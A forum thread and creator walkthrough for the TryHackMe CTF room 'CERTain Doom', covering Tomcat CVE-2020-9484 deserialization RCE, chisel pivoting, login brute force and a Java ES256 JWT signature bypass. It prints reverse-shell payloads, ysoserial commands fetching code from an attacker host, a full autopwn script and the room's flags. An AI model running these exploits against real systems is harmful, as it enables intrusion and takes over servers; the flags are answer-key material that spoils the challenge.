CERTain Doom Discussion [WRITE-UP]

Let’s talk about CERTain Doom.

2 Likes

Use this CVE for initial foothold.

https://romanenco.medium.com/apache-tomcat-deserialization-of-untrusted-data-rce-cve-2020-9484-afc9a12492c4

Built ysoserial yourself to use it. (Precompiled versions are not working)

Flag: THM{c4T_g07_73H_d353r14L1z4710N_8lu3z}

We haven’t found a way to escape from Docker yet. If you do, I’m looking forward to your comments.

Here are what we know so far:

  • Checked local files, configurations, and logs. We couldn’t find anything useful.

  • No environment variables useful for escaping from Docker.

  • Scanned Docker network with nmap.

  • There are two extra containers running on the same network. One is 172.20.0.2 and the other is 172.20.0.3. The first one is a Documents Library and the second one is its backend. However, we couldn’t find any useful information from them.

  • Use chisel to access the internal network from your machine.

3 Likes

Hi, one question, how did you know it was vulnerable to cve-2020-9484?

After spending many hours researching, you’ll eventually come across this CVE.

1 Like

Any chance to show where did u get upload form with cookie setting for activation?
atm enumarating everything but still cant find entry point for exploit to trigger this part:

x.x.x.x/upload.jsp -H 'Cookie:JSESSIONID=

Create downloadPayload.session, chmodPayload.session, executePayload.session files as the write-up shows and send these requests consecutively get a shell.

curl http://certain-doom.thm:8080/reports/upload  -F 'image=@downloadPayload.session'
curl http://certain-doom.thm:8080/reports/upload  -F 'image=@chmodPayload.session'
curl http://certain-doom.thm:8080/reports/upload  -F 'image=@executePayload.session'
curl http://certain-doom.thm:8080/reports/ -H 'Cookie:JSESSIONID=../../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
curl http://certain-doom.thm:8080/reports/ -H 'Cookie:JSESSIONID=../../../../../../../../../../usr/local/tomcat/temp/uploads/chmodPayload'
curl http://certain-doom.thm:8080/reports/ -H 'Cookie:JSESSIONID=../../../../../../../../../../usr/local/tomcat/temp/uploads/executePayload'

Do you know what triggers website to be shown? Race condition?
Because ive was randomly fuzzing and got response 200 after throwing big traffic at it.

This website is always available. You may need to wait a little bit for the machine to boot completely

the url is $IP:8080/reports/

The second flag

For the second flag, there’s no Docker escape.

To get the second flag, you need to either disable CORS or solve the CORS issue.

After disabling CORS, you’ll see the login page automatically when you open the index.

Login credentials are bob:bob.

After logging in, send the following request to get hidden document files.

GET /documents?hidden=true HTTP/1.1
Host: library-back:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: */*
Origin: http://library
Referer: http://library/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: credz=YOUR_COOKIE; 


And you’ll get two hidden files:

[{"id":"64d35510774649ab3562697f","name":"Todo","author":"bob","filename":"todo.md","hidden":true,"created":"2022-05-02T13:31:13.495","modified":"2023-08-04T08:27:44.168"},{"id":"64d35510774649ab35626980","name":"Chat Logs","author":"bob","filename":"chat.log","hidden":true,"created":"2023-08-09T09:02:13.028","modified":"2023-08-09T09:02:13.028"}]

When we inspect their contents:

todo.md
# Bob's Todo List

* [ ] Fix CVE-2020-9484 on Reports
* [x] Get next month's pentesting schedule ready
* [ ] Talk to the SOC about brute force detection
* [ ] Fix authentication issues in the docs library
* [x] Don't show hidden files for users who aren't logged in
* [x] Check for SQL injection in the library backend

# Notes:

- All good for client X's pentest!
- Shouldn't be any SQL injection now, we're using a proper framework.

You’ll get the flag:

[2023-08-08 18:53] Bob: Hey do you have the specs for the tokens?
[2023-08-08 18:53] Hydra: It's a standard JWT, no?
[2023-08-08 18:54] Bob: Yeah, but what claims should we use?
[2023-08-08 18:54] Hydra: Just use the standard framework auth.
[2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java.
[2023-08-08 18:56] Bob: I'll get on that soon; we're just an internal service anyways, the firewall'll protect us.
[2023-08-08 18:57] Hydra: Can't always rely on that, Bob. Best be as secure as we can internally as well.
[2023-08-08 18:58] Bob: Right, before I forget, here's the flag for next week's security conf: 
THM{1n73Rn4L_53rV1C35_n07_45_H1dD3N_4S_7H3Y_533|\/|}

The final Flag


Don’t even question your capabilities for this challenge. The creator of the challenge is not a good CTF creator, and nowadays, THM is losing its quality by approving total bullshit challenges. So there’s nothing we can do. If the creator trusts his ability to create hard/insane challenges, he can try his luck on HackTheBox by submitting his bullshit and get fucked up with a rejection letter that emphasizes his poor quality.

1 Like

Idk , im losing my sanity spent 5-6 hours compiled jar files , ramada my java version , did like 10 different this CVE version to try to spawn a shell , nothing seems to work feeling stupid and frustrated…

shell just times out

└─# ./curl3.sh
curl: (52) Empty reply from server
curl: (52) Empty reply from server
curl: (52) Empty reply from server
curl: (56) Recv failure: Connection reset by peer
curl: (56) Recv failure: Connection reset by peer
curl: (56) Recv failure: Connection reset by peer

You did everything correctly. It has to work. However, you can’t send the request. Are you sure you added a line to your /etc/hosts file like this: THM_SERVER_IP certain-doom.thm?

Okay, can you just send this request and share the response:

curl http://certain-doom.thm:8080/reports/ -v

There’s something wrong. I think you should restart the machine. Because I am getting the response when I send the same request

ill go down the rabit hole , and regenerate my openvpn connection with new vpn ip.

Solve your connection issues, you’ll get a shell then.

The Final Flag

As the chat messages suggest, we need to focus on a JWT authentication bypass vulnerability. Here’s how to solve:

Neil Madden’s blog post on psychic signatures in Java suggests that to bypass the vulnerability, you can create a JWT like this:


payload = 'eyJz....'

jwt = f'eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.{payload}.MAYCAQACAQA'

The signature blob will bypass the check.

After some painstaking trials, you can identify the proper claims for the JWT and create valid tokens:

import json, base64

header = {"alg": "ES256", "typ": "JWT"}
payload = {"sub": "hydra", "groups": ["user"]}

def encode(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode()).decode().rstrip('=')

token = f'{encode(header)}.{encode(payload)}.MAYCAQACAQA'

print(token)

Then, pass the token to Burp Suite:

Download the file:

The flag is on the 8th page:

Flag: THM{H1dD3|\|_1n_Pl41N_516h7}


Keep in mind that:

2 Likes

A new writeup is available for this room.

Old Components Lead to Certain Doom!

Welcome back to a brand new room on TryHackMe. After a bit of a hiatus, I built this room on and off again after seeing a cute exploit during a local CTF at work. The premise is straightforward: The user sees a seemingly innocuous website which has a few secrets hidden behind.

First Steps: Reconnaissance

Once we’ve booted the machine up and waited a few minutes, we hit the target with a simple nmap scan.

nmap certaindoom.thm -sC -sV -T4 -v

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.0 (protocol 2.0)
80/tcp   open   http       hastatic-1.0.0
|_http-title: Super Secret Admin Page
|_http-server-header: hastatic-1.0.0
8080/tcp open   http-proxy Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found

So we see a static HTML server serving a super secret dashboard, and a Tomcat version 9.something, assuming the server headers are telling the truth, as they’ve clearly been trafficked.

Static Server Recon

Let’s take the bait and see what the static server is. Maybe there’s something interesting hidden that we can use for later. Loading up Firefox, we visit the site and…

Shocking! It’s a trap that redirects us to a well known youtube video after it’s had its fun.

Back to the Cat

Ok let’s take a closer look at our supposed tomcat.

We indeed have some version of Tomcat acting as our application server. It’s supposedly a 9.x version as well, let’s trust that for now. We want to get to an actual web app though. Trying a few standard Tomcat URLs by hand nets us a bunch of 404s, so let’s fuzz the service.

Fuzzy Kitties

ffuf is a pretty decent all-purpose fuzzer which lets us scan a multitude of different parts of a site reasonably quickly. We just want a simple directory scan, and I like to try the big.txt list first.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://certaindoom.thm:8080/FUZZ/

/'___\  /'___\           /'___\
/\ \__/ /\ \__/  __  __  /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\   \ \_\  \ \____/  \ \_\
\/_/    \/_/   \/___/    \/_/

v2.0.0-dev
________________________________________________

:: Method           : GET
:: URL              : http://certaindoom.thm:8080/FUZZ/
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 4599, Words: 933, Lines: 67, Duration: 3609ms]
* FUZZ: reports

:: Progress: [20476/20476] :: Job [1/1] :: 25 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

CERT

We see a hit on the /reports/ endpoint, so let’s take a closer look:

All we see is a generic website containing a file upload form. Let’s try the obvious and upload a JSP shell.
Uploading the file IS allowed, but it’s unfortunately dumped outside the Tomcat webapps path. We’ll need a plan B.

ExploitDB has nothing of particular note. We can try a ghostcat exploit, but the AJP port (usually 8009) has been locked down. After a cursory google search for Tomcat 9 file upload rce, we come across Apache’s vulnerability disclosure page which can give us a few hints https://tomcat.apache.org/security-9.html. Running through the list, we see an important RCE that was fixed in Tomcat 9.0.35 listed under CVE-2020-9484.

This exploit is a bit finicky and requires several conditions to be true in order to work.

  • an attacker is able to control the contents and name of a file on the server; and
  • the server is configured to use the PersistenceManager with a FileStore; and
  • the PersistenceManager is configured with sessionAttributeValueClassNameFilter=“null” (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and
  • the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over;

We saw earlier that the first condition is true. The second is an unknown, but we have a cookie when visiting the site, so there’s a good chance that it’s true as well. We can assume the third to be true as it’s a default setting. The fourth condition is generally true, as with enough ../ we can get a relative path to the root.

Cookies for Breakfast

With the notes in the vulnerability disclosure, and some knowledge of Tomcat’s inner workings, we can begin to guess at how this exploit works. The Tomcat PersistanceManager will store session variables as a serialized Java object in a file. When it needs to retrieve the settings, we will deserialize the file and thus read the information we want, or in our case, execute some code.

First we’ll need to craft a few payloads. Now we can probably do something like for Log4Shell and generate a class and compile it, but the exact semantics are tricky and may not always work. Instead we can use a tool like ysoserial to do all the hard work for us.

We’ll need a payload to execute. A simple bash reverse shell called payload.sh should do the trick:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/$remote_ip/$remote_port 0>&1'

Of course you’ll want to replace the variables here with your ip and port.

Next we’ll want to generate our payloads to download the file to the machine, set it as executable, and finally execute the file. For this, we can grab the ysoserial jar from the github page at https://github.com/frohoff/ysoserial (v0.0.6 should work).

We’ll also need to get a java toolchain installed if we don’t already have one. We’ll generally want to try to match versions with what’s on the server. Tomcat 9 is old, but not that old. We need at least Java 8 to run it, but the hint says that our lucky number is 11, so perhaps this means that we’ll need a Java 11 JDK. I like using the excellent SDKMan to manage my JDKs, but any method should work. We’ll need to create fake sessions to execute our code, so let’s generate our cookies:

java -jar ysoserial-all.jar CommonsCollections2 "curl http://$remote_ip/payload.sh -o /tmp/payload.sh" > downloadPayload.session
java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/playload.sh" > executePayload.session

I used CommonsCollections2 because this gadget is commonly used in many Java-based applications. If it doesn’t work, try another that may.

We’ll also need a web server to host the payload.sh file. The standard python web server is fine, but your favourite server will also work. The command we serialized assumes port 80, so be sure to take this into account as well.

We’ve already uploaded one file, so let’s upload the rest of our sessions.

curl http://certaindoom.thm:8080/reports/upload -F 'uploadFile=@downloadPayload.session'

# Successfull upload

Bringing it all together

Starting up our favourite reverse shell catcher (I’m liking pwncat-cs these days, but nc works well enough if you’re careful), we can begin to execute our payload. To do this, we simply need to visit the site while setting the COOKIE header to the files that we uploaded in sequence. We’ll get a bunch of 500 errors, but that’s ok.

curl http://certaindoom.thm:8080/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
HTTP Status 500 – Internal Server Error

For some reason, just having the reverse shell payload directly in the ysoserial output does not seem to want to work very well.

If we’re lucky and we did everything correctly, we should now have caught a shell.

whoami && id && pwd && date
root
uid=0(root) gid=0(root) groups=0(root)
/usr/local/tomcat
Fri Sep 29 16:06:38 UTC 2023

Bash

Copy

We can script all this (and someone already has here https://github.com/PenTestical/CVE-2020-9484) to end up with a credible autopwn

#!/bin/bash
# Exploit Title: Apache Tomcat RCE by deserialization
# Exploit Author: Pentestical (@ptestical)
# Date: 31.12.2020
# CVE-ID: CVE-2020-9484
# Version: Apache Tomcat 9.0.27
# Tested on: Kali Linux 2020.4

# Remote Code Execution by Deserialization


# your attacker IP, set to your own IP address
remote_ip="10.0.0.1" 	# change this

# optional:
port=4242
target_ip="$1"
target_port=8080		# default port



if [ -z "$1" ] || [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
	echo ""
	echo "$(tput setaf 3;tput bold)usage: ./CVE-2020-9484.sh target-ip"
	echo ""
	echo "$(tput setaf 4;tput bold)Please start a web listener in /tmp folder:"
	echo "$(tput setaf 3;tput bold)python3 -m http.server 80"
	echo ""
	echo "$(tput setaf 4;tput bold)and start your netcat listener at port 4242:"
	echo "$(tput setaf 3;tput bold)nc -nvlp 4242"
	exit
fi


# look for ysoserial file on your attacker system
# check out install.txt file for instructions how to install ysoserial
find_ysoserial_on_system(){
	echo "$(tput setaf 6;tput bold)[+] Checking if you have installed ysoserial.."
	sleep 1
	ysoserial_file=$(find . -name "ysoserial-all.jar" -type f 2>/dev/null)
	if [ -z "$ysoserial_file" ]; then
		echo "$(tput setaf 1;tput bold)You need ysoserial-all.jar in order to use this script!"
		echo "$(tput setaf 1;tput bold)Please make sure to follow the install.txt guide!"
		echo "$(tput setaf 1;tput bold)Quitting.."
		exit
	fi
	echo "$(tput setaf 5;tput bold)[+] Found ysoserial-all.jar!"
}


# creating payload files using ysoserial
create_payload_files(){
	echo "$(tput setaf 6;tput bold)[+] Trying to create payload files.."
	sleep 1
	echo "$(tput setaf 6;tput bold)[+] Creating payload.sh file.."
	rm -rf payload.sh
	echo "#!/usr/bin/bash" >> payload.sh
	echo "bash -c 'bash -i >& /dev/tcp/$remote_ip/$port 0>&1'" >> payload.sh
	sleep 1
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create first ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 "curl http://$remote_ip/payload.sh -o /tmp/payload.sh" > downloadPayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create second ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create last ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	sleep 1
	echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
	echo "$(tput setaf 4;tput bold)[+] Succesfully created all files!"
	echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
	sleep 1
}

#get a reverse shell
get_reverse_shell(){
	echo "[+] Trying to get a reverse shell.."
	echo "[+] Make sure to have netcat and python weblistener in current folder running.."
	curl -v http://$target_ip:$target_port/reports/upload -F 'uploadFile=@downloadPayload.session'
	curl -v http://$target_ip:$target_port/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
	sleep 1
	curl -v http://$target_ip:$target_port/reports/upload -F 'uploadFile=@chmodPayload.session'
	curl -v http://$target_ip:$target_port/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/chmodPayload'
	sleep 1
	curl -v http://$target_ip:$target_port/reports/upload -F 'uploadFile=@executePayload.session'
	curl -v http://$target_ip:$target_port/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/executePayload'
	echo ""
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo ""
	echo "$(tput setaf 4;tput bold)[+] If you don't have a reverse shell, try to run it again!"
}


# start RCE exploit
find_ysoserial_on_system
create_payload_files
get_reverse_shell

Grabbing the Web Flag!

We can find the flag and try to look around the system

find -name "*flag*"
./.flag
wc -c .flag
38 .flag

Snooping Around

So we got the web flag, but there are two others to find. Snooping around the system, we find that we’re inside a docker container, and there aren’t any other flags inside. We therefore must be on a network, but there are no real networking tools on the machine. Let’s look at a few files to see what we can find.

cat /etc/resolv.conf
search eu-west-1.compute.internal thm
nameserver 127.0.0.11
options ndots:0
cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.20.0.4	2c5b93ea49de
172.18.0.3	2c5b93ea49de

Our current host appears to be on two different networks. Let’s try to see if we can find anything interesting, but first we’ll need to set up a proxy (Well, we don’t but it’ll make our lives much easier).

I tried running things directly on the server but memory is very very low, which may cause issues. Your mileage may vary.

Chisel Through the Other Side

I used Chisel as a proxy, which sets up a SOCKS5 proxy on our local host. Then we’ll use proxychains-ng to proxy our commands.

We’ll set up the server for a reverse proxy on our attackbox as follows: chisel server -p 9001 --reverse &. When we connect with our client, we’ll be able to set up the proxy.

First we need to get the binary onto the remote server. Chisel uses the same binary for client and server, which is convenient. We can try to upload the binary via the file upload form:

curl http://certaindoom.thm:8080/reports/upload -F 'uploadFile=@chisel'

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Upload Result</title>
</head>

<body>
    <h2>There was an error: The field uploadFile exceeds its maximum permitted size of 5242880 bytes.</h2>
</body>
</html>

Ah our file is too big. Not to worry, as we have RCE and should have a reverse shell, and a webserver lying around. Let’s use curl on the server to download the file:

curl http://$attacker_ip/chisel -o chisel
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 8452k  100 8452k    0     0  2569k      0  0:00:03  0:00:03 --:--:-- 2568k

We can set the executable bit and connect the client to our server with ./chisel client $attacker_ip:9001 R:socks

This will create a socks proxy on port 1080 on our attacking machine.

Mapping out the networks

We’ll want to configure our proxychains to use the new socks5 proxy we made. For this we simply need to drop a simple config file in our current directory.

tcp_read_time_out 100 tcp_connect_time_out 100 [ProxyList] socks5 127.0.0.1 1080

Next, we can attack with an nmap scan of the networks. (you can exclude 172.x.0.1, which is the host).

the 172.18 network is the equivalent to the host network. It’s what’s allowed through when we scan the machine at first. The 172.20 network is a bit more interesting though. We can exclude 172.20.0.4 as well, since we already know that it’s our current remote server.

Let’s see what we can get (this may take a while):

proxychains4 -q nmap 172.20.0.0/29 -v -sC -sV -T4 --exclude 172.20.0.0/31,172.20.0.4

Nmap scan report for 172.20.0.2
Host is up (0.084s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    hastatic-1.0.0


Nmap scan report for 172.20.0.3
Host is up (0.084s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
8080/tcp open  rtsp

Nmap scan report for 172.20.0.5
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.5 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 172.20.0.6
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.6 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 172.20.0.7
Host is up (0.16s latency).
All 1000 scanned ports on 172.20.0.7 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Crouching Website, Hidden Services

So it looks as though the 172.20.0.0 network contains some sort of service not accessible from the outside. We see some HTML on 172.20.0.2:80 and something that responds to http on 172.20.0.3:8080, though nmap has no idea how to deal with it. Let’s do some manual recon with curl to start with.

These IPs may change during your recon, as the IPs are assigned as the containers start.

We’ll have to go through our socks proxy, and we have 2 options for that: either use curl’s proxy handling capabilities, or use proxychains again. Let’s try with curl and see what’s up.

curl --socks5 127.0.0.1:1080 -v 172.20.0.3
* processing: 172.20.0.3
*   Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to 172.20.0.3:80 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET / HTTP/1.1
> Host: 172.20.0.3
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 6983
< Accept-Ranges: bytes
< Date: Thu, 12 Oct 2023 07:20:50 GMT
< Server: hastatic-1.0.0
< Content-Type: text/html
< Cache-Control: no-transform,public,max-age=300,s-maxage=900
< Last-Modified: Wed, 09-Aug-2023 08:46:38 UTC
< ETag: f35af4907f0d1060743066497fa66a555cc53497
< Vary: Accept-Encoding
< Referrer-Policy: strict-origin-when-cross-origin
< X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
<
<!doctype html>

We see here that we have a table with several forms, and what appears to be a document library. Unfortunately, we won’t be able to get it working with curl, as it requires javascript. Taking a cursory glance at the javascript via curl shows a minified mess, so let’s take a look via the browser dev tools.

Remember to setup your proxy!

Now I used burpsuite to see what’s going on and so I can intercept requests to understand how the system works.

We see that we end up with a GET request to the documents endpoint on a server called library-back on port 8080. Could this be our other mysterious service?

Alternately, we can also attempt to bruteforce the service with our favourite tool. The big.txt wordlist should be able to spot it.

Intercepting the response, we get a 403 error saying CORS is denied…

We try faking the origin to 127.0.0.1 to no avail. The backend connection is called to library-back so perhaps we can refer from library-front, or library, or we can try localhost

Using localhost or library seems to work, and as a bonus, library is a dns redirect to the front-end site, so we can use that as the url to snoop around.

Authenticating

It looks as though we need to authenticate though. If we connect from the browser via the library endpoint, then we get redirected to a poorly-made login form.

Trying something posts a request to the backend to the j_security_check endpoint with the j_username and j_password parameters, this can help us to bruteforce the login if we so wish.

Let’s jump back to the command line here and try out the request with curl

curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/j_security_check --data 'j_username=admin&j_password=password'
*   Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> POST /j_security_check HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Content-Length: 36
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 401 Unauthorized
< content-length: 0
<
* Connection #0 to host 127.0.0.1 left intact

We are able to resolve it via our proxy. This is good, let’s kickstart our favourite bruteforcing tool and see if the password is in rockyou.txt but first we’ll need a username. In the room description, there’s mention of Bob, so let’s try using bob in lowercase.

ffuf -x socks5://127.0.0.1:1080 -v -fc 401 -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -u http://library-back:8080/j_security_check -d 'j_username=bob&j_password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

:: Method           : POST
:: URL              : http://library-back:8080/j_security_check
:: Wordlist         : FUZZ: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
:: Header           : Content-Type: application/x-www-form-urlencoded
:: Data             : j_username=bob&j_password=FUZZ
:: Follow redirects : false
:: Calibration      : false
:: Proxy            : socks5://127.0.0.1:1080
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Response status: 401
________________________________________________

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 144ms]
| URL | http://library-back:8080/j_security_check
* FUZZ: ***

[WARN] Caught keyboard interrupt (Ctrl-C)

I killed the fuzzer when we got a result, as we don’t actually want to go through the entire list. Of course, we could have easily guessed the password. Let’s try logging in:

curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/j_security_check --data "j_username=bob&j_password=***"
*   Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> POST /j_security_check HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< content-length: 0
< set-cookie: credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ==; Path=/; HTTPOnly; SameSite=Lax
<
* Connection #0 to host 127.0.0.1 left intact

We get a cookie called credz which we can assume contains our session information.

Trolling Through the Library

Let’s try the documents endpoint with our new credentials

curl --socks5-hostname 127.0.0.1:1080 -v http://library-back:8080/documents -b 'credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ=='
*   Trying 127.0.0.1:1080...
* Connected to 127.0.0.1 (127.0.0.1) port 1080
* SOCKS5 connect to library-back:8080 (remotely resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080
> GET /documents HTTP/1.1
> Host: library-back:8080
> User-Agent: curl/8.3.0
> Accept: */*
> Cookie: credz=DNaS0eGnHRdsrjjC3vVU0P01ExdBrufzPBXCL8VWy1FkwrRGeVT/LeZRg2BNlQ==
>
< HTTP/1.1 200 OK
< content-length: 176
< Content-Type: application/json;charset=UTF-8
< set-cookie: credz=DFDy2Aa1+0J1H2EZWQE3ohsD4KJQrJoNqtD1JxDE3X76Py1PQRNDCFooG4lf2g==; Path=/; HTTPOnly; SameSite=Lax
<
* Connection #0 to host 127.0.0.1 left intact
[{"id":"64d35510774649ab3562697d","name":"Hello","author":"bob","filename":"hello.txt","hidden":false,"created":"2022-11-22T09:31:48.702","modified":"2023-01-01T14:53:42.168"}]

We can get a listing, but can we get the actual documents? We know the filename, but not the URL. There are two ways to get the info that we want. Either the front-end should generate the download links, or we can try fuzzing it.

Front End Shenanigans

The front end is a bit of a mess, but if we snoop around the javascript code, we find the bit that populates the table from the json received on the backend.

Or Fuzzy Shenanigans

We can also guess that the format of the link to get the file will be /documents/<something>/filename. Since we know that a file called hello.txt exists, let’s try that with ffuf.

ffuf -x socks5://127.0.0.1:1080 -v -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://library-back:8080/documents/FUZZ/hello.txt -b credz='DP1CbkHAqhoB3oGWxp8EuPj3KVJu1tK9RwSAPYeRFDVyE3p9iVg+3EXzimJSDg=='

/'___\  /'___\           /'___\
/\ \__/ /\ \__/  __  __  /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\   \ \_\  \ \____/  \ \_\
\/_/    \/_/   \/___/    \/_/

v2.1.0-dev
________________________________________________

:: Method           : GET
:: URL              : http://library-back:8080/documents/FUZZ/hello.txt
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Header           : Cookie: credz=DP1CbkHAqhoB3oGWxp8EuPj3KVJu1tK9RwSAPYeRFDVyE3p9iVg+3EXzimJSDg==
:: Follow redirects : false
:: Calibration      : false
:: Proxy            : socks5://127.0.0.1:1080
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 12, Words: 2, Lines: 1, Duration: 232ms]
| URL | http://library-back:8080/documents/download/hello.txt
* FUZZ: download

:: Progress: [20476/20476] :: Job [1/1] :: 722 req/sec :: Duration: [0:00:37] :: Errors: 0 ::

Whichever method we use, let’s grab the contents of the file

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents/download/hello.txt -b 'credz=DFLq2ymrgYx7Sdto2Pbcc095w1sPm8f0N7h7SViBQTE3vwsBj2OTyqtYbSpaQQ=='
Hello, World

My cookie changed because it had probably expired or been invalidated. Redoing the login gets you a fresh cookie.

Well that’s not very helpful. Looks like bob has nothing else and we’re out of luck, or are we?

Hidden File Command, Gotta Love ’em

Looking way back to the front-end code, we see a filter form which modifies the call to the /documents endpoint with query parameters. We can search by the document name, author, or hidden.

Since we don’t know any document names or other authors, let’s try the hidden parameter.

curl --socks5-hostname 127.0.0.1:1080 http://library-back:8080/documents\?author\=bob\&hidden\=true -b 'credz=DFLq2ymrgYx7Sdto2Pbcc095w1sPm8f0N7h7SViBQTE3vwsBj2OTyqtYbSpaQQ=='
[{"id":"64d35510774649ab3562697f","name":"Todo","author":"bob","filename":"todo.md","hidden":true,"created":"2022-05-02T13:31:13.495","modified":"2023-08-04T08:27:44.168"},{"id":"64d35510774649ab35626980","name":"Chat Logs","author":"bob","filename":"chat.log","hidden":true,"created":"2023-08-09T09:02:13.028","modified":"2023-08-09T09:02:13.028"}]

We see two files here: todo.md and chat.log

Let’s see what they contain:

# Bob's Todo List * [ ] Fix CVE-2020-9484 on Reports * [x] Get next month's pentesting schedule ready * [ ] Talk to the SOC about brute force detection * [ ] Fix authentication issues in the docs library * [x] Don't show hidden files for users who aren't logged in * [x] Check for SQL injection in the library backend # Notes: - All good for client X's pentest! - Shouldn't be any SQL injection now, we're using a proper framework.

